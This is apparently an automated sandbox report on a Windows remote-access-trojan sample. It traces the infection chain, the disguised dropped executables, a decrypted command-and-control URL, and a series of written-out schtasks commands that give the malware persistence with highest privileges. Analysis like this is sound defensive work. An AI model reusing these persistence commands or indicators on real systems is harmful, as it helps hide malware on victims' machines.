Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Joe Sandbox ML: detected
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\ARUSTYfT.log	Joe Sandbox ML: detected
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Joe Sandbox ML: detected
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Joe Sandbox ML: detected
Source: C:\Windows\SchCache\RuntimeBroker.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 7aHY4r6vXR.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000004.00000002.1854260219.000000001321B000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-ir7LGSrsk71YAT4WpA4X","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVW93WTI1V2JFbHBkMmxQUTBrMlNXNVNlV1JYVldsTVEwazFTV3B2YVdSSVNqRmFVMGx6U1dwRmQwbHFiMmxrU0VveFdsTkpjMGxxUlhoSmFtOXBaRWhLTVZwVFNYTkpha1Y1U1dwdmFXUklTakZhVTBselNXcEZla2xxYjJsa1NFb3hXbE5KYzBscVJUQkphbTlwWkVoS01WcFRTamtpWFE9PSJd"]
Source: 00000004.00000002.1854260219.000000001321B000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://506691cm.renyash.ru/","vmpoll"]]

Source: 7aHY4r6vXR.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 7aHY4r6vXR.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 7aHY4r6vXR.exe
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.pdb source: bridgeServerFontSavesMonitor.exe, 00000004.00000002.1849804431.000000000393F000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BDA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_00BDA69B
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BEC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_00BEC220

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: bridgeServerFontSavesMonitor.exe, 00000004.00000002.1849804431.000000000393F000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: 0_2_00BD6FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_00BD6FAA

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\b1829d2998bf98	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\SchCache\RuntimeBroker.exe	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\SchCache\9e8d7a4ca61bd9	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\Migration\WTR\b1829d2998bf98	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCAAFDA77B4B0340CF902F598B7E2DA6.TMP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCAAFDA77B4B0340CF902F598B7E2DA6.TMP

Jump to behavior

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BD848E	0_2_00BD848E
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BE00B7	0_2_00BE00B7
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BE4088	0_2_00BE4088
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BD40FE	0_2_00BD40FE
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BF51C9	0_2_00BF51C9
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BE7153	0_2_00BE7153
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BD32F7	0_2_00BD32F7
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BE62CA	0_2_00BE62CA
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BE43BF	0_2_00BE43BF
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BDC426	0_2_00BDC426
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BDF461	0_2_00BDF461
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BFD440	0_2_00BFD440
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BE77EF	0_2_00BE77EF
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BFD8EE	0_2_00BFD8EE
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BD286B	0_2_00BD286B
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BDE9B7	0_2_00BDE9B7
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00C019F4	0_2_00C019F4
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BE6CDC	0_2_00BE6CDC
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BE3E0B	0_2_00BE3E0B
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BF4F9A	0_2_00BF4F9A
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BDEFE2	0_2_00BDEFE2
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 4_2_00007FFD9BAD0D48	4_2_00007FFD9BAD0D48
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 4_2_00007FFD9BAD0E43	4_2_00007FFD9BAD0E43
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 29_2_00007FFD9BAB0D48	29_2_00007FFD9BAB0D48
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 29_2_00007FFD9BAB0E43	29_2_00007FFD9BAB0E43
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 32_2_00007FFD9BAA0D48	32_2_00007FFD9BAA0D48
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 32_2_00007FFD9BAA0E43	32_2_00007FFD9BAA0E43
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BAD1441	35_2_00007FFD9BAD1441
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BADC705	35_2_00007FFD9BADC705
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BAD1475	35_2_00007FFD9BAD1475
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BAA0D48	35_2_00007FFD9BAA0D48
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BAA0E43	35_2_00007FFD9BAA0E43
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAC0D48	36_2_00007FFD9BAC0D48
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAC0E43	36_2_00007FFD9BAC0E43
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAC1171	36_2_00007FFD9BAC1171
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAF1441	36_2_00007FFD9BAF1441
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAFC705	36_2_00007FFD9BAFC705
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAF1475	36_2_00007FFD9BAF1475
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAC0D48	38_2_00007FFD9BAC0D48
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAC0E43	38_2_00007FFD9BAC0E43
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAF1441	38_2_00007FFD9BAF1441
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAFC705	38_2_00007FFD9BAFC705
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAF1475	38_2_00007FFD9BAF1475
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 41_2_00007FFD9BAB0D48	41_2_00007FFD9BAB0D48
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 41_2_00007FFD9BAB0E43	41_2_00007FFD9BAB0E43
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 41_2_00007FFD9BAE1441	41_2_00007FFD9BAE1441
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 41_2_00007FFD9BAEC705	41_2_00007FFD9BAEC705
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 41_2_00007FFD9BAE1475	41_2_00007FFD9BAE1475
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 43_2_00007FFD9BAA0D48	43_2_00007FFD9BAA0D48
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 43_2_00007FFD9BAA0E43	43_2_00007FFD9BAA0E43
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 43_2_00007FFD9BAD1441	43_2_00007FFD9BAD1441
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 43_2_00007FFD9BADC705	43_2_00007FFD9BADC705
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 43_2_00007FFD9BAD1475	43_2_00007FFD9BAD1475
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 44_2_00007FFD9BAA0D48	44_2_00007FFD9BAA0D48
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 44_2_00007FFD9BAA0E43	44_2_00007FFD9BAA0E43
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 44_2_00007FFD9BAD1441	44_2_00007FFD9BAD1441
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 44_2_00007FFD9BADC705	44_2_00007FFD9BADC705
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 44_2_00007FFD9BAD1475	44_2_00007FFD9BAD1475

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\ARUSTYfT.log 7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: String function: 00BEEC50 appears 56 times
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: String function: 00BEF5F0 appears 31 times
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: String function: 00BEEB78 appears 39 times

Source: VObntHLa.log.4.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: ARUSTYfT.log.4.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: riACjval.log.4.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: hzhmzTUD.log.4.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: 7aHY4r6vXR.exe, 00000000.00000003.1740412950.000000000365A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewscript.exe.mui` vs 7aHY4r6vXR.exe
Source: 7aHY4r6vXR.exe, 00000000.00000003.1740412950.000000000365A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewscript.exe` vs 7aHY4r6vXR.exe
Source: 7aHY4r6vXR.exe	Binary or memory string: OriginalFilenameSpotifyStartupTask.exe$ vs 7aHY4r6vXR.exe

Source: 7aHY4r6vXR.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: bridgeServerFontSavesMonitor.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SfLAFHFXIbHzHGgilQgXtKOw.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SfLAFHFXIbHzHGgilQgXtKOw.exe0.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: RuntimeBroker.exe.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SfLAFHFXIbHzHGgilQgXtKOw.exe1.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: SfLAFHFXIbHzHGgilQgXtKOw.exe2.4.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.spre.troj.expl.evad.winEXE@45/29@0/0

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: 0_2_00BD6C74 GetLastError,FormatMessageW,

0_2_00BD6C74

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Code function: 0_2_00BEA6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_00BEA6C2

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe

File created: C:\Users\user\Desktop\VObntHLa.log

Jump to behavior

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\DCR_MUTEX-ir7LGSrsk71YAT4WpA4X
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4144:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4856:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3620:120:WilError_03

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe

File created: C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe

Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ChainBroker\IrbV6YakyWCvQIuALcoa2IhBwWZ19ItpwUlqov7vyFBfFx5s16nM.bat" "

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Command line argument: sfxname	0_2_00BEDF1E
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Command line argument: sfxstime	0_2_00BEDF1E
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Command line argument: STARTDLG	0_2_00BEDF1E

Source: 7aHY4r6vXR.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 7aHY4r6vXR.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7aHY4r6vXR.exe	Virustotal: Detection: 48%
Source: 7aHY4r6vXR.exe	ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

File read: C:\Users\user\Desktop\7aHY4r6vXR.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\7aHY4r6vXR.exe "C:\Users\user\Desktop\7aHY4r6vXR.exe"
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\ChainBroker\IrbV6YakyWCvQIuALcoa2IhBwWZ19ItpwUlqov7vyFBfFx5s16nM.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ChainBroker\bridgeServerFontSavesMonitor.exe "C:\ChainBroker/bridgeServerFontSavesMonitor.exe"
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES69DB.tmp" "c:\Windows\System32\CSCAAFDA77B4B0340CF902F598B7E2DA6.TMP"
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 6 /tr "'C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 14 /tr "'C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /rl HIGHEST /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 13 /tr "'C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 13 /tr "'C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 7 /tr "'C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "bridgeServerFontSavesMonitorb" /sc MINUTE /mo 9 /tr "'C:\ChainBroker\bridgeServerFontSavesMonitor.exe'" /f
